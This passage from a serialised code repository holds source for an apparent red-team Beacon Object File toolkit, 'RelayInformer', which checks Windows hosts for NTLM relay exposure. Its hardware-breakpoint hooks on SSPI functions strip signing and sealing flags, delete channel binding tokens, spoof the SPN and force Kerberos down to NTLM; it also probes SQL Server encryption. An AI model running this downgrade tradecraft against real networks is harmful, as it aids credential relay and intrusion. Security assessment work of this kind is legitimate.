_WIN64\n    // x64 Windows ABI: RCX, RDX, R8, R9, then stack\n    PCredHandle phCredential    = (PCredHandle)ex->ContextRecord->Rcx;\n    PCtxtHandle phContext       = (PCtxtHandle)ex->ContextRecord->Rdx;\n    const wchar_t* pszTargetW   = (const wchar_t*)ex->ContextRecord->R8;\n    ULONG fContextReq           = (ULONG)ex->ContextRecord->R9;\n\n    // Non-intrusive: optionally strip protection flags before any further parsing\n    if (g_stripProtFlags) {\n        ULONG stripped = fContextReq & ~(ISC_REQ_INTEGRITY | ISC_REQ_SEQUENCE_DETECT | ISC_REQ_CONFIDENTIALITY);\n        if (stripped != fContextReq) {\n            ex->ContextRecord->R9 = stripped;\n            fContextReq = stripped;\n#ifndef BOF\n            internal_printf(\"[ISC] ACTION: stripped INTEGRITY/CONFIDENTIALITY/SEQUENCE_DETECT -> fContextReq=0x%08X\\n\", fContextReq);\n#endif\n        }\n    }\n\n    // Safely discover a plausible pInput by scanning stack slots and validating\n    PSecBufferDesc pInput = NULL;\n    BYTE* spScan = (BYTE*)ex->ContextRecord->Rsp;\n    for (int off = 0x20; off <= 0xA0; off += 8) {\n        if (!is_readable(spScan + off, sizeof(void*))) continue;\n        PSecBufferDesc cand = *(PSecBufferDesc*)(spScan + off);\n        if (cand && is_readable(cand, sizeof(SecBufferDesc))) {\n            SecBufferDesc tmp; MSVCRT$memcpy(&tmp, cand, sizeof(tmp));\n            if (tmp.cBuffers && tmp.cBuffers <= 16 && tmp.pBuffers && is_readable(tmp.pBuffers, tmp.cBuffers * sizeof(SecBuffer))) {\n                pInput = cand; break;\n            }\n        }\n    }\n\n    // Decide SPN override after we infer whether this is Type 1 (pInput absent)\n    if (g_spnMode && !g_spnModified) {\n        if (pszTargetW && (safe_wcs_has_prefix_i(pszTargetW, L\"HTTP/\") || safe_wcs_has_prefix_i(pszTargetW, L\"MSSQLSvc/\") || safe_wcs_has_prefix_i(pszTargetW, L\"LDAP/\"))) {\n            ex->ContextRecord->R8 = (ULONG_PTR)g_fakeSpnW;\n            pszTargetW = g_fakeSpnW;\n            g_spnModified = 1;\n            #ifndef BOF\n                internal_printf(\"[ISC]   (SPN override active)\\n\");\n            #endif\n        }\n    }\n\n    char targetA[256] = {0};\n    safe_wcs_to_utf8(pszTargetW, targetA, sizeof(targetA));\n\n    #ifndef BOF\n        internal_printf(\"\\n\");\n        internal_printf(\"=====>InitializeSecurityContextW trap<======\\n\");\n        internal_printf(\"[ISC] TargetName: %s\\n\", targetA[0]?targetA:\"(null)\");\n        if (g_spnMode && g_spnModified) internal_printf(\"[ISC]   (SPN override active)\\n\");\n        log_fContextReq_flags(fContextReq);\n        internal_printf(\"[ISC] pInput=%p\\n\", pInput);\n    #endif\n\n    if (pInput && is_readable(pInput, sizeof(SecBufferDesc))) {\n        SecBufferDesc desc; MSVCRT$memcpy(&desc, pInput, sizeof(desc));\n        #ifndef BOF\n            internal_printf(\"[ISC] pInput ver=%lu c=%lu pBuf=%p\\n\", desc.ulVersion, desc.cBuffers, desc.pBuffers);\n        #endif\n\n        // sanity caps\n        ULONG c = desc.cBuffers;\n        if (c == 0 || c > 16 || !is_readable(desc.pBuffers, c * sizeof(SecBuffer))) {\n            #ifndef BOF\n                internal_printf(\"[ISC] skip buffer walk (c=%lu or not readable)\\n\", c);\n            #endif\n        } else {\n            SecBuffer local[16];\n            MSVCRT$memcpy(local, desc.pBuffers, c * sizeof(SecBuffer));\n            for (ULONG i = 0; i < c; i++) {\n                #ifndef BOF\n                    internal_printf(\"[ISC]  buf[%lu]: type=%lu cb=%lu pv=%p\\n\", i, local[i].BufferType, local[i].cbBuffer, local[i].pvBuffer);\n                #endif\n                if (local[i].BufferType == SECBUFFER_CHANNEL_BINDINGS && is_readable(local[i].pvBuffer, sizeof(SEC_CHANNEL_BINDINGS))) {\n                    SEC_CHANNEL_BINDINGS cbh; MSVCRT$memcpy(&cbh, local[i].pvBuffer, sizeof(cbh));\n                    #ifndef BOF\n                        internal_printf(\"[ISC]   CB appOff=%lu appLen=%lu\\n\", cbh.dwApplicationDataOffset, cbh.cbApplicationDataLength);\n                    #endif\n                    BYTE* appPtr = (BYTE*)local[i].pvBuffer + cbh.dwApplicationDataOffset;\n                    DWORD appLen = cbh.cbApplicationDataLength;\n                    if (appLen > 0 && is_readable(appPtr, min((DWORD)512, appLen))) {\n                        #ifndef BOF\n                            internal_printf(\"[ISC]   CB appDataHex: \");\n                            DWORD toPrint = (appLen > 512) ? 512 : appLen;\n                            for (DWORD j = 0; j < toPrint; j++) internal_printf(\"%02X\", appPtr[j]);\n                            if (appLen > toPrint) internal_printf(\"...\");\n                            internal_printf(\"\\n\");\n                        #endif\n                    }\n                    if (g_cbtMode != 0 && !g_cbtModified) {\n                        if (g_cbtMode == 1) {\n                            if (is_writable(desc.pBuffers, c * sizeof(SecBuffer))) {\n                                SecBuffer *realBufs = desc.pBuffers;\n                                realBufs[i].BufferType = SECBUFFER_EMPTY;\n                                realBufs[i].cbBuffer = 0;\n                            }\n                            if (is_writable(local[i].pvBuffer, sizeof(SEC_CHANNEL_BINDINGS))) {\n                                SEC_CHANNEL_BINDINGS *cbReal = (SEC_CHANNEL_BINDINGS*)local[i].pvBuffer;\n                                cbReal->cbApplicationDataLength = 0;\n                                cbReal->dwApplicationDataOffset = 0;\n                            }\n                            #ifndef BOF\n                                internal_printf(\"[ISC]   ACTION: zeroed CBT (emptied buffer)\\n\");\n                            #endif\n                            g_cbtModified = 1;\n                        } else if (g_cbtMode == 2) {\n                            if (is_writable(pInput, sizeof(SecBufferDesc)) && is_writable(desc.pBuffers, c * sizeof(SecBuffer))) {\n                                SecBuffer *realBufs = desc.pBuffers;\n                                for (ULONG j = i; j + 1 < c; j++) {\n                                    realBufs[j] = realBufs[j + 1];\n                                }\n                                MSVCRT$memset(&realBufs[c - 1], 0, sizeof(SecBuffer));\n                                ((SecBufferDesc*)pInput)->cBuffers = c - 1;\n#ifndef BOF\n                                internal_printf(\"[ISC]   ACTION: removed CBT entry from SecBufferDesc (cBuffers=%lu -> %lu)\\n\", c, c - 1);\n#endif\n                                g_cbtModified = 1;\n                            } else {\n#ifndef BOF\n                                internal_printf(\"[ISC]   ACTION: remove CBT entry FAILED (descriptor/buffer not writable)\\n\");\n#endif\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    } else {\n        #ifndef BOF\n            internal_printf(\"[ISC] Type1 (no input) or pInput unreadable\\n\");\n        #endif\n    }\n    #ifndef BOF\n        internal_printf(\"\\n\");\n    #endif\n    #endif\n    // Clear debug state and resume after DR hit\n    ex->ContextRecord->EFlags |= 0x10000; // RF\n    ex->ContextRecord->Dr6 = 0;\n    return EXCEPTION_CONTINUE_EXECUTION;\n}\n\nstatic LONG CALLBACK ISC_A_VEH(EXCEPTION_POINTERS *ex) {\n    DWORD code = ex->ExceptionRecord->ExceptionCode;\n    if (code != 0x80000004 /* EXCEPTION_SINGLE_STEP */) return EXCEPTION_CONTINUE_SEARCH;\n#ifdef _WIN64\n    void* ip = (void*)ex->ContextRecord->Rip;\n#else\n    void* ip = (void*)ex->ContextRecord->Eip;\n#endif\n    // Ensure this DR hit is for our intended function\n    if (g_hw_isca_addr && ip != g_hw_isca_addr) return EXCEPTION_CONTINUE_SEARCH;\n    // New call: reset per-call flags\n    g_cbtModified = 0;\n    g_spnModified = 0;\n\n#ifdef _WIN64\n    // x64 Windows ABI: RCX, RDX, R8, R9, then stack\n    PCredHandle phCredential    = (PCredHandle)ex->ContextRecord->Rcx;\n    PCtxtHandle phContext       = (PCtxtHandle)ex->ContextRecord->Rdx;\n    const char* pszTargetA      = (const char*)ex->ContextRecord->R8;\n    ULONG fContextReq           = (ULONG)ex->ContextRecord->R9;\n\n    // Non-intrusive: optionally strip protection flags before any further parsing\n    if (g_stripProtFlags) {\n        ULONG stripped = fContextReq & ~(0x00010000u /*INTEGRITY*/ | 0x00000010u /*CONFIDENTIALITY*/);\n        if (stripped != fContextReq) {\n            ex->ContextRecord->R9 = stripped;\n            fContextReq = stripped;\n            #ifndef BOF\n                internal_printf(\"[ISC] ACTION: stripped INTEGRITY/CONFIDENTIALITY -> fContextReq=0x%08X\\n\", fContextReq);\n            #endif\n        }\n    }\n\n    // Safely discover a plausible pInput by scanning stack slots and validating\n    PSecBufferDesc pInput = NULL;\n    BYTE* spScan = (BYTE*)ex->ContextRecord->Rsp;\n    for (int off = 0x20; off <= 0xA0; off += 8) {\n        if (!is_readable(spScan + off, sizeof(void*))) continue;\n        PSecBufferDesc cand = *(PSecBufferDesc*)(spScan + off);\n        if (cand && is_readable(cand, sizeof(SecBufferDesc))) {\n            SecBufferDesc tmp; MSVCRT$memcpy(&tmp, cand, sizeof(tmp));\n            if (tmp.cBuffers && tmp.cBuffers <= 16 && tmp.pBuffers && is_readable(tmp.pBuffers, tmp.cBuffers * sizeof(SecBuffer))) {\n                pInput = cand; break;\n            }\n        }\n    }\n\n    // Decide SPN override after we infer whether this is Type 1 (pInput absent)\n    if (g_spnMode && !g_spnModified) {\n        if (pszTargetA && (safe_str_has_prefix_i(pszTargetA, \"HTTP/\") || safe_str_has_prefix_i(pszTargetA, \"MSSQLSvc/\") || safe_str_has_prefix_i(pszTargetA, \"LDAP/\"))) {\n            static char g_fakeSpnA[64];\n            safe_wcs_to_utf8(g_fakeSpnW, g_fakeSpnA, sizeof(g_fakeSpnA));\n            ex->ContextRecord->R8 = (ULONG_PTR)g_fakeSpnA;\n            pszTargetA = g_fakeSpnA;\n            g_spnModified = 1;\n            #ifndef BOF\n                internal_printf(\"[ISC]   (SPN override active)\\n\");\n            #endif\n        }\n    }\n\n    #ifndef BOF\n        internal_printf(\"\\n\");\n        internal_printf(\"=====>InitializeSecurityContextA trap<======\\n\");\n        internal_printf(\"[ISC] TargetName: %s\\n\", pszTargetA?pszTargetA:\"(null)\");\n        if (g_spnMode && g_spnModified) internal_printf(\"[ISC]   (SPN override active)\\n\");\n        log_fContextReq_flags(fContextReq);\n        internal_printf(\"[ISC] pInput=%p\\n\", pInput);\n    #endif\n\n    if (pInput && is_readable(pInput, sizeof(SecBufferDesc))) {\n        SecBufferDesc desc; MSVCRT$memcpy(&desc, pInput, sizeof(desc));\n        #ifndef BOF\n            internal_printf(\"[ISC] pInput ver=%lu c=%lu pBuf=%p\\n\", desc.ulVersion, desc.cBuffers, desc.pBuffers);\n        #endif\n\n        // sanity caps\n        ULONG c = desc.cBuffers;\n        if (c == 0 || c > 16 || !is_readable(desc.pBuffers, c * sizeof(SecBuffer))) {\n            #ifndef BOF\n                internal_printf(\"[ISC] skip buffer walk (c=%lu or not readable)\\n\", c);\n            #endif\n        } else {\n            SecBuffer local[16];\n            MSVCRT$memcpy(local, desc.pBuffers, c * sizeof(SecBuffer));\n            for (ULONG i = 0; i < c; i++) {\n                #ifndef BOF\n                    internal_printf(\"[ISC]  buf[%lu]: type=%lu cb=%lu pv=%p\\n\", i, local[i].BufferType, local[i].cbBuffer, local[i].pvBuffer);\n                #endif\n                if (local[i].BufferType == SECBUFFER_CHANNEL_BINDINGS && is_readable(local[i].pvBuffer, sizeof(SEC_CHANNEL_BINDINGS))) {\n                    SEC_CHANNEL_BINDINGS cbh; MSVCRT$memcpy(&cbh, local[i].pvBuffer, sizeof(cbh));\n                    #ifndef BOF\n                        internal_printf(\"[ISC]   CB appOff=%lu appLen=%lu\\n\", cbh.dwApplicationDataOffset, cbh.cbApplicationDataLength);\n                    #endif\n                    BYTE* appPtr = (BYTE*)local[i].pvBuffer + cbh.dwApplicationDataOffset;\n                    DWORD appLen = cbh.cbApplicationDataLength;\n                    if (appLen > 0 && is_readable(appPtr, min((DWORD)512, appLen))) {\n                        #ifndef BOF\n                            internal_printf(\"[ISC]   CB appDataHex: \");\n                            DWORD toPrint = (appLen > 512) ? 512 : appLen;\n                            for (DWORD j = 0; j < toPrint; j++) internal_printf(\"%02X\", appPtr[j]);\n                            if (appLen > toPrint) internal_printf(\"...\");\n                            internal_printf(\"\\n\");\n                        #endif\n                    }\n                    if (g_cbtMode != 0 && !g_cbtModified) {\n                        if (g_cbtMode == 1) {\n                            if (is_writable(desc.pBuffers, c * sizeof(SecBuffer))) {\n                                SecBuffer *realBufs = desc.pBuffers;\n                                realBufs[i].BufferType = SECBUFFER_EMPTY;\n                                realBufs[i].cbBuffer = 0;\n                            }\n                            if (is_writable(local[i].pvBuffer, sizeof(SEC_CHANNEL_BINDINGS))) {\n                                SEC_CHANNEL_BINDINGS *cbReal = (SEC_CHANNEL_BINDINGS*)local[i].pvBuffer;\n                                cbReal->cbApplicationDataLength = 0;\n                                cbReal->dwApplicationDataOffset = 0;\n                            }\n                            #ifndef BOF\n                                internal_printf(\"[ISC]   ACTION: zeroed CBT (emptied buffer)\\n\");\n                            #endif\n                            g_cbtModified = 1;\n                        } else if (g_cbtMode == 2) {\n                            if (is_writable(pInput, sizeof(SecBufferDesc)) && is_writable(desc.pBuffers, c * sizeof(SecBuffer))) {\n                                SecBuffer *realBufs = desc.pBuffers;\n                                for (ULONG j = i; j + 1 < c; j++) {\n                                    realBufs[j] = realBufs[j + 1];\n                                }\n                                MSVCRT$memset(&realBufs[c - 1], 0, sizeof(SecBuffer));\n                                ((SecBufferDesc*)pInput)->cBuffers = c - 1;\n                                #ifndef BOF\n                                    internal_printf(\"[ISC]   ACTION: removed CBT entry from SecBufferDesc (cBuffers=%lu -> %lu)\\n\", c, c - 1);\n                                #endif\n                                g_cbtModified = 1;\n                            } else {\n                                #ifndef BOF\n                                    internal_printf(\"[ISC]   ACTION: remove CBT entry FAILED (descriptor/buffer not writable)\\n\");\n                                #endif\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    } else {\n        #ifndef BOF\n            internal_printf(\"[ISC] Type1 (no input) or pInput unreadable\\n\");\n        #endif\n    }\n    #ifndef BOF\n        internal_printf(\"\\n\");\n    #endif\n    #endif\n    // Clear debug state and resume after DR hit\n    ex->ContextRecord->EFlags |= 0x10000; // RF\n    ex->ContextRecord->Dr6 = 0;\n    return EXCEPTION_CONTINUE_EXECUTION;\n}\n\n// Separate VEH for AcquireCredentialsHandleW to keep logic isolated and clearer\nstatic LONG CALLBACK ACH_VEH(EXCEPTION_POINTERS *ex) {\n    if (ex->ExceptionRecord->ExceptionCode != 0x80000004 /* EXCEPTION_SINGLE_STEP */) return EXCEPTION_CONTINUE_SEARCH;\n#ifdef _WIN64\n    void* ip = (void*)ex->ContextRecord->Rip;\n#else\n    void* ip = (void*)ex->ContextRecord->Eip;\n#endif\n    // Ensure this DR hit is for our intended function\n    if (g_hw_achw_addr && ip != g_hw_achw_addr) return EXCEPTION_CONTINUE_SEARCH;\n\n#ifdef _WIN64\n    const wchar_t* pkg = (const wchar_t*)ex->ContextRecord->Rdx; // AcquireCredentialsHandleW: RDX = package\n    char pkgA[128] = {0};\n    if (pkg && is_readable(pkg, sizeof(wchar_t))) safe_wcs_to_utf8(pkg, pkgA, sizeof(pkgA));\n    #ifndef BOF\n        internal_printf(\"=====>AcquireCredentialsHandleW trap<======\\n\");\n        internal_printf(\"[ACH] Package: %s\\n\", pkgA[0]?pkgA:\"(null)\");\n    #endif\n    if (g_forceNtlm) {\n        static wchar_t g_ntlmW[8] = L\"NTLM\";\n        BOOL okToForce = FALSE;\n        if (!pkg) okToForce = TRUE;\n        else if (is_readable(pkg, sizeof(wchar_t))) {\n            if (safe_wcs_has_prefix_i(pkg, L\"Negotiate\") || safe_wcs_has_prefix_i(pkg, L\"Kerberos\")) okToForce = TRUE;\n        }\n        if (okToForce) {\n            ex->ContextRecord->Rdx = (ULONG_PTR)g_ntlmW;\n            #ifndef BOF\n                internal_printf(\"[ACH]   ACTION: forced package to NTLM\\n\");\n            #endif\n        }\n    }\n    #endif\n\n    // Clear debug state and resume\n    ex->ContextRecord->EFlags |= 0x10000; // RF\n    ex->ContextRecord->Dr6 = 0;\n    return EXCEPTION_CONTINUE_EXECUTION;\n}\n\n// Separate VEH for AcquireCredentialsHandleA to keep logic isolated and clearer\nstatic LONG CALLBACK ACH_A_VEH(EXCEPTION_POINTERS *ex) {\n    if (ex->ExceptionRecord->ExceptionCode != 0x80000004 /* EXCEPTION_SINGLE_STEP */) return EXCEPTION_CONTINUE_SEARCH;\n#ifdef _WIN64\n    void* ip = (void*)ex->ContextRecord->Rip;\n#else\n    void* ip = (void*)ex->ContextRecord->Eip;\n#endif\n    // Ensure this DR hit is for our intended function\n    if (g_hw_acha_addr && ip != g_hw_acha_addr) return EXCEPTION_CONTINUE_SEARCH;\n\n#ifdef _WIN64\n    const char* pkg = (const char*)ex->ContextRecord->Rdx; // AcquireCredentialsHandleA: RDX = package\n    #ifndef BOF\n        internal_printf(\"=====>AcquireCredentialsHandleA trap<======\\n\");\n        internal_printf(\"[ACH] Package: %s\\n\", pkg ? pkg : \"(null)\");\n    #endif\n    if (g_forceNtlm) {\n        static char g_ntlmA[8] = \"NTLM\";\n        BOOL okToForce = FALSE;\n        if (!pkg) okToForce = TRUE;\n        else if (is_readable(pkg, 1)) {\n            if (MSVCRT$_strnicmp(pkg, \"Negotiate\", 9) == 0 || MSVCRT$_strnicmp(pkg, \"Kerberos\", 8) == 0) okToForce = TRUE;\n        }\n        if (okToForce) {\n            ex->ContextRecord->Rdx = (ULONG_PTR)g_ntlmA;\n            #ifndef BOF\n                internal_printf(\"[ACH]   ACTION: forced package to NTLM\\n\");\n            #endif\n        }\n    }\n    #endif\n\n    // Clear debug state and resume\n    ex->ContextRecord->EFlags |= 0x10000; // RF\n    ex->ContextRecord->Dr6 = 0;\n    return EXCEPTION_CONTINUE_EXECUTION;\n}"
  },
  {
    "path": "AD-BOF/RelayInformer/common/sql.c",
    "content": "#include <windows.h>\n#include <sql.h>\n#include <odbcss.h>\n\n\n//\n// prints a SQL error message\n//\nSQLINTEGER ShowError(unsigned int handletype, const SQLHANDLE* handle)\n{\n    SQLCHAR sqlstate[1024];\n    SQLCHAR message[1024];\n    SQLINTEGER nativeError = 0;\n    ODBC32$SQLGetDiagRec(handletype, (SQLHANDLE)handle, 1, sqlstate, &nativeError, message, 1024, NULL);\n    return nativeError;\n}\n\n// Return codes for TDS PreLogin encryption policy\n// 0: ENCRYPT_OFF, 1: ENCRYPT_ON, 2: ENCRYPT_NOT_SUP, 3: ENCRYPT_REQ\n\n// Minimal TDS PreLogin over TCP to query server encryption policy\n// Returns: -1 error; otherwise ENCRYPT_* value read from server ENCRYPTION option\nint TdsPreloginCheckEncryption(const char* host, unsigned short port) {\n    \n    WSADATA wsa; if (WS2_32$WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;\n    SOCKET s = WS2_32$socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if (s == INVALID_SOCKET) { WS2_32$WSACleanup(); return -1; }\n\n    struct sockaddr_in sin; intZeroMemory(&sin, sizeof(sin));\n    sin.sin_family = AF_INET;\n    sin.sin_port = WS2_32$htons(port);\n    if (WS2_32$inet_pton(AF_INET, host, &sin.sin_addr) != 1) {\n        // Fallback DNS resolution\n        struct addrinfo hints; intZeroMemory(&hints, sizeof(hints));\n        hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP;\n        struct addrinfo* res = NULL;\n        if (WS2_32$getaddrinfo(host, NULL, &hints, &res) == 0 && res) {\n            struct sockaddr_in* ain = (struct sockaddr_in*)res->ai_addr;\n            sin.sin_addr = ain->sin_addr;\n            WS2_32$freeaddrinfo(res);\n        } else { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n    }\n\n    if (WS2_32$connect(s, (struct sockaddr*)&sin, sizeof(sin)) != 0) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    // Build PreLogin request with VERSION and ENCRYPTION options\n    // Option table: [Token(1) Offset(2) Length(2)] ... 0xFF terminator ... data blobs\n    unsigned char payload[64]; int p = 0;\n    const unsigned char TOKEN_VERSION    = 0x00;\n    const unsigned char TOKEN_ENCRYPTION = 0x01;\n\n    // VERSION entry\n    payload[p++] = TOKEN_VERSION;\n    int verOffPos = p; payload[p++] = 0; payload[p++] = 0; // offset placeholder\n    payload[p++] = 0x00; payload[p++] = 0x06; // length = 6\n\n    // ENCRYPTION entry\n    payload[p++] = TOKEN_ENCRYPTION;\n    int encOffPos = p; payload[p++] = 0; payload[p++] = 0; // offset placeholder\n    payload[p++] = 0x00; payload[p++] = 0x01; // length = 1\n\n    // Terminator\n    payload[p++] = 0xFF;\n\n    // Data blobs start here\n    int dataStart = p;\n    // VERSION 6 bytes: major, minor, buildHi, buildLo, subBuildHi, subBuildLo\n    // Use requested version 8.0.341 => major=8, minor=0, build=341 (0x0155), subBuild=0\n    payload[p++] = 0x08; // major\n    payload[p++] = 0x00; // minor\n    payload[p++] = 0x01; // build hi (0x0155)\n    payload[p++] = 0x55; // build lo\n    payload[p++] = 0x00; // subBuild hi\n    payload[p++] = 0x00; // subBuild lo\n\n    // ENCRYPTION value (client value is ignored; server replies with its policy)\n    payload[p++] = 0x00; // send 0x00 here; server will still return its policy\n\n    // Patch offsets (big-endian) relative to start of payload\n    int verDataOff = dataStart;\n    int encDataOff = dataStart + 6;\n    payload[verOffPos]   = (unsigned char)((verDataOff >> 8) & 0xFF);\n    payload[verOffPos+1] = (unsigned char)(verDataOff & 0xFF);\n    payload[encOffPos]   = (unsigned char)((encDataOff >> 8) & 0xFF);\n    payload[encOffPos+1] = (unsigned char)(encDataOff & 0xFF);\n\n    // Build TDS header + payload\n    unsigned char pkt[96]; int idx = 0;\n    pkt[idx++] = 0x12; // PRELOGIN\n    pkt[idx++] = 0x01; // EOM\n    int lenPos = idx; pkt[idx++] = 0; pkt[idx++] = 0; // Length (to patch)\n    pkt[idx++] = 0x00; pkt[idx++] = 0x00; // SPID\n    pkt[idx++] = 0x01; // PacketID\n    pkt[idx++] = 0x00; // Window\n\n    int payloadLen = p;\n    for (int i = 0; i < payloadLen; i++) pkt[idx++] = payload[i];\n\n    int totalLen = idx;\n    pkt[lenPos]   = (unsigned char)((totalLen >> 8) & 0xFF);\n    pkt[lenPos+1] = (unsigned char)(totalLen & 0xFF);\n\n    if (WS2_32$send(s, (const char*)pkt, totalLen, 0) != totalLen) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    // Read full response based on TDS header length\n    unsigned char resp[1024]; int received = 0;\n    // First read header\n    while (received < 8) {\n        int r = WS2_32$recv(s, (char*)resp + received, 8 - received, 0);\n        if (r <= 0) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n        received += r;\n    }\n    int respLen = ((int)resp[2] << 8) | resp[3];\n    if (respLen < 8 || respLen > (int)sizeof(resp)) respLen = (int)sizeof(resp);\n    while (received < respLen) {\n        int r = WS2_32$recv(s, (char*)resp + received, respLen - received, 0);\n        if (r <= 0) break;\n        received += r;\n    }\n    if (received < 9) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    // Parse response option table\n    const unsigned char* rp = resp + 8; int rem = received - 8; int i = 0;\n    int encOffset = -1, encLen = 0;\n    while (i < rem) {\n        unsigned char tok = rp[i++];\n        if (tok == 0xFF) break; // terminator\n        if (i + 4 > rem) break;\n        int off = ((int)rp[i] << 8) | rp[i+1]; i += 2;\n        int len = ((int)rp[i] << 8) | rp[i+1]; i += 2;\n        if (tok == TOKEN_ENCRYPTION) { encOffset = off; encLen = len; }\n    }\n    int result = -1;\n    if (encOffset >= 0 && encLen >= 1 && encOffset + encLen <= rem) {\n        result = (int)rp[encOffset];\n    }\n\n    WS2_32$closesocket(s);\n    WS2_32$WSACleanup();\n    return result;\n}\n\n//\n// Clear the cursor so it can be closed without a 24000 Invalid Cursor State error\n//\nvoid ClearCursor(SQLHSTMT stmt)\n{\n    SQLRETURN ret = SQL_SUCCESS;\n    \n    //\n    // Fetch all results to clear the cursor\n    //\n    while(ret == SQL_SUCCESS || ret == SQL_SUCCESS_WITH_INFO) {\n        ODBC32$SQLFetch(stmt);\n        ret = ODBC32$SQLMoreResults(stmt);\n    }\n}\n\n//\n// Connect to a SQL server\n//\nSQLHDBC ConnectToSqlServer(SQLHENV* env, char* server, int port, char* dbName, SQLINTEGER* nativeError)\n{\n    SQLRETURN ret;\n    SQLCHAR connstr[1024];\n    SQLHDBC dbc = NULL;\n\n    // Allocate an environment handle and set ODBC version\n    ret = ODBC32$SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, env);\n    if (!SQL_SUCCEEDED(ret)) { ShowError(SQL_HANDLE_ENV, *env); return NULL; }\n    ret = ODBC32$SQLSetEnvAttr(*env, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n    if (!SQL_SUCCEEDED(ret)) { ShowError(SQL_HANDLE_ENV, *env); return NULL; }\n\n    // Allocate a connection handle\n    ret = ODBC32$SQLAllocHandle(SQL_HANDLE_DBC, *env, &dbc);\n    if (!SQL_SUCCEEDED(ret)) { ShowError(SQL_HANDLE_ENV, *env); return NULL; }\n\n    if (dbName == NULL)\n    {\n        MSVCRT$sprintf((char*)connstr, \"DRIVER={SQL Server};SERVER=%s,%d;Trusted_Connection=Yes;TrustServerCertificate=yes;\", server, port);\n    } else\n    {\n        MSVCRT$sprintf((char*)connstr, \"DRIVER={SQL Server};SERVER=%s,%d;DATABASE=%s;Trusted_Connection=Yes;TrustServerCertificate=yes;\", server, port, dbName);\n    }\n    \n    ret = ODBC32$SQLDriverConnect(dbc, NULL, connstr, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_NOPROMPT);\n    \n    if (!SQL_SUCCEEDED(ret))\n    {\n        *nativeError = ShowError(SQL_HANDLE_DBC, dbc);\n        return NULL;\n    }\n    \n    return dbc;\n}\n\n//\n// Close the connection to a SQL server\n//\nvoid DisconnectSqlServer(SQLHENV env, SQLHDBC dbc, SQLHSTMT stmt)\n{\n    SQLRETURN ret;\n\n    if (stmt != NULL) { ret = ODBC32$SQLFreeHandle(SQL_HANDLE_STMT, stmt); }\n    if (dbc != NULL) {\n        ret = ODBC32$SQLDisconnect(dbc);\n        ret = ODBC32$SQLFreeHandle(SQL_HANDLE_DBC, dbc);\n    }\n    if (env != NULL) { ret = ODBC32$SQLFreeHandle(SQL_HANDLE_ENV, env); }\n}\n\n"
  },
  {
    "path": "AD-BOF/RelayInformer/relay-informer-http/entry.c",
    "content": "#include \"bofdefs.h\"\n#include \"base.c\"\n\nstatic wchar_t g_fakeSpnW[64] = L\"HTTP/relay.informer\";\n#include \"hwbp.c\"\n\n// Global variables for hardware breakpoints\nPVOID vehAchW = NULL;\nvoid* addrAchW = NULL;\nPVOID vehIscW = NULL;\nvoid* addrIscW = NULL;\n\n//\n// HTTPS case has to handle thread switch, so this func will be called multiple times\n// instead of just once at the start of CheckProtection()\n//\nstatic BOOL ArmBps(){\n    // ACH-W: register VEH once; re-arm only thereafter\n    if (!vehAchW) {\n        if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"AcquireCredentialsHandleW\", 0, ACH_VEH, &vehAchW, &addrAchW, TRUE)) {\n            internal_printf(\"Failed to set HWBP on sspicli!AcquireCredentialsHandleW (DR0).\\n\");\n            return FALSE;\n        }\n    } else {\n        // Re-arm across threads without re-registering VEH\n        if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"AcquireCredentialsHandleW\", 0, NULL, NULL, &addrAchW, TRUE)) {\n            internal_printf(\"Failed to re-arm HWBP on AcquireCredentialsHandleW (DR0).\\n\");\n            return FALSE;\n        }\n    }\n\n    // ISC-W: register VEH once; re-arm only thereafter\n    if (!vehIscW) {\n        if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"InitializeSecurityContextW\", 1, ISC_VEH, &vehIscW, &addrIscW, TRUE)) {\n            internal_printf(\"Failed to set HWBP on sspicli!InitializeSecurityContextW (DR1).\\n\");\n            return FALSE;\n        }\n    } else {\n        if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"InitializeSecurityContextW\", 1, NULL, NULL, &addrIscW, TRUE)) {\n            internal_printf(\"Failed to re-arm HWBP on InitializeSecurityContextW (DR1).\\n\");\n            return FALSE;\n        }\n    }\n    return TRUE;\n}\n\n\n//\n// Trigger NTLM auth over HTTP/S\n//\nstatic DWORD trigger_winhttp_ntlm(wchar_t* kHost, wchar_t* kPath, INTERNET_PORT kPort, BOOL ssl) {\n\t// Session\n\tHINTERNET hSes = WINHTTP$WinHttpOpen(L\"Relay-Informer/1.0\",\n\t\t\t\t\t\t\t\t\t  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,\n\t\t\t\t\t\t\t\t\t  WINHTTP_NO_PROXY_NAME,\n\t\t\t\t\t\t\t\t\t  WINHTTP_NO_PROXY_BYPASS, 0);\n\tif (!hSes) { return 0; }\n\n\tDWORD pol = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;\n\tWINHTTP$WinHttpSetOption(hSes, WINHTTP_OPTION_AUTOLOGON_POLICY, &pol, sizeof(pol));\n\n\t// Connect + Request (single handle for whole handshake)\n\tHINTERNET hConn = WINHTTP$WinHttpConnect(hSes, kHost, kPort, 0);\n\tif (!hConn) { WINHTTP$WinHttpCloseHandle(hSes); return 0; }\n\n\tHINTERNET hReq = WINHTTP$WinHttpOpenRequest(hConn, L\"GET\", kPath, NULL,\n\t\t\t\t\t\t\t\t\t\t\t  WINHTTP_NO_REFERER,\n\t\t\t\t\t\t\t\t\t\t\t  WINHTTP_DEFAULT_ACCEPT_TYPES,\n\t\t\t\t\t\t\t\t\t\t\t  ssl ? WINHTTP_FLAG_SECURE : 0);\n\tif (!hReq) { WINHTTP$WinHttpCloseHandle(hConn); WINHTTP$WinHttpCloseHandle(hSes); return 0; }\n\n\t// 